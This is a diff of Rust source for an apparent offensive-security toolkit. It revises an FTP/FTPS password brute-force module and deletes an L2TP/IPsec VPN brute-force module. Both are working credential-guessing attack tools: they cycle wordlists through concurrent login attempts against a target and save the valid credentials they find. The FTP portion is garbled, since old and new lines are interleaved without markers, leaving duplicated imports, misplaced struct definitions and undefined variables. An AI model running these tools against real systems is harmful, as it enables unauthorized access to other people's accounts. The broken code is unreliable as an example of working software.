use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
AsyncNativeTlsConnector,
};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc,
time::Instant,
sync::Arc, // Keep Arc
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
};
use std::path::Path;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
const PROGRESS_INTERVAL_SECS: u64 = 2;
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
// Statistics tracking for progress reporting
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
@@ -116,8 +68,8 @@ fn format_addr(target: &str, port: u16) -> String {
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
@@ -149,173 +101,119 @@ pub async fn run(target: &str) -> Result<()> {
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
if !combo_mode && users.is_empty() && !passes.is_empty() {
return Err(anyhow!(
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
usernames_file, passwords_file
));
}
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// (Optional: notifications for empty lists can remain here)
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
if *stop.lock().await && stop_on_success { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
if *stop.lock().await && stop_on_success { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
// Permit is automatically released when `_permit` goes out of scope here
}));
}
}
} else {
if !users.is_empty() {
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
}
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
// Permit released
}));
}
}
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
println!("\n[-] No credentials found.");
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} {} -> {}:{}", "".green(), host, user, pass);
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
@@ -338,7 +236,8 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
@@ -352,15 +251,14 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP login error: {}", msg));
}
}
@@ -369,30 +267,25 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("FTPS base connect failed: {}", e)
})?;
@@ -412,9 +305,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("TLS upgrade failed: {}", e)
})?;
@@ -428,9 +319,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
if msg.contains("530") {
Ok(false)
} else {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
Err(anyhow!("FTPS error: {}", msg))
}
}
@@ -442,7 +331,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Res
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -450,12 +339,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -470,7 +359,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -479,7 +368,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
@@ -487,11 +376,13 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
Ok(reader.lines().filter_map(Result::ok).collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
@@ -1,797 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use regex::Regex;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, AtomicU64, Ordering},
time::Instant,
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ L2TP/IPsec VPN Brute Force Module ║".cyan());
println!("{}", "║ Requires strongswan, xl2tpd, or pppd ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
// Optional: Pre-shared key (PSK) for IPsec phase
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "5")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "15")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = normalize_target(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
if psk.is_some() {
println!("[*] Using IPsec PSK authentication");
} else {
println!("[*] No PSK specified - will attempt without PSK");
}
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let total_attempts = if combo_mode { users.len() * passwords.len() } else { passwords.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let timeout_duration = Duration::from_secs(timeout_secs);
if combo_mode {
// Try every password with every user
for user in &users {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
}
}
} else {
// Try passwords sequentially, cycling through users
for (i, pass) in passwords.iter().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let psk_clone = psk.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(100)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task join error: {}", e).red());
}
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
/// Attempts L2TP/IPsec VPN login
///
/// Note: L2TP/IPsec authentication is complex and requires:
/// - Root privileges for IPsec operations
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
/// - IPsec phase (machine authentication with PSK/certificates)
/// - L2TP phase (user authentication with username/password)
///
/// This implementation provides the framework. A full implementation would need to:
/// - Create temporary configuration files dynamically
/// - Use ipsec/strongswan commands to establish IPsec tunnel
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
/// - Parse connection status and authentication responses
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Try using strongswan (ipsec/strongswan) if available
let strongswan_check = Command::new("which")
.arg("ipsec")
.output()
.await;
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
}
// Fallback: try xl2tpd if available
let xl2tpd_check = Command::new("which")
.arg("xl2tpd")
.output()
.await;
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
}
// Try using system L2TP tools (Windows: rasdial, Linux: various)
#[cfg(target_os = "linux")]
{
// Try using pppd with l2tp plugin if available
let pppd_check = Command::new("which")
.arg("pppd")
.output()
.await;
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
}
}
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
}
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Extract IP address from addr (remove port if present)
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary directory for config files
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
// Build IPsec configuration
let psk_value = psk.as_deref().unwrap_or("default");
let ipsec_conf = format!(
r#"conn {}
type=transport
authby=secret
left=%defaultroute
right={}
rightprotoport=17/1701
auto=start
keyexchange=ikev1
ike=aes128-sha1-modp1024
esp=aes128-sha1
"#,
